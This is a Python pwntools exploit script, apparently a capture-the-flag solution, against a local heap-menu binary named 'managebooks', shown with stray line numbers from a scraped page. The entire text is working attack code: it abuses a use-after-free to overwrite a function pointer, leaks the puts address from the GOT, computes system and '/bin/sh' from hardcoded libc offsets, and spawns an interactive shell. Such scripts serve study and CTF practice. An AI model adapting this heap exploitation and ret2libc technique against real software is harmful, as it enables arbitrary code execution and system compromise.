1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| from pwn import * context(arch="amd64",os='linux')
p = process("./managebooks") elf = ELF("./managebooks")
def create(name_size,name,summary_size,summary): p.recv() p.sendline("1") p.sendlineafter("Enter book name size: ",str(name_size)) p.sendlineafter("Enter book name: ",name) p.sendlineafter("Enter book summary size: ",str(summary_size)) p.sendlineafter("Enter book summary: ",summary) def delete(num): p.recv() p.sendline("2") p.sendline(str(num))
def change(num,size,summary): p.recv() p.sendline("3") p.sendlineafter("Select Book ID (0-10): ",str(num)) p.sendlineafter("Enter book summary size: ",str(size)) p.sendlineafter("Enter book summary: ",summary)
def read(num): p.recv() p.sendline("4") p.sendlineafter("Select Book ID (0-10): ",str(num))
puts_plt = elf.plt["puts"] puts_got = elf.got['puts']
create(0x20,"aaaa",0x20,"AAAA") create(0x20,"bbbb",0x20,"BBBB")
delete(0)
change(1,0x18,p64(puts_plt)+p64(0)+p64(puts_got))
read(0)
puts_addr= u64(p.recvline()[:-1].ljust(8,'\x00')) print hex(puts_addr)
sys = puts_addr - 0x2a300 binsh = puts_addr + 0x11d777
change(1,0x18,p64(sys) + p64(0) + p64(binsh))
read(0) p.interactive()
|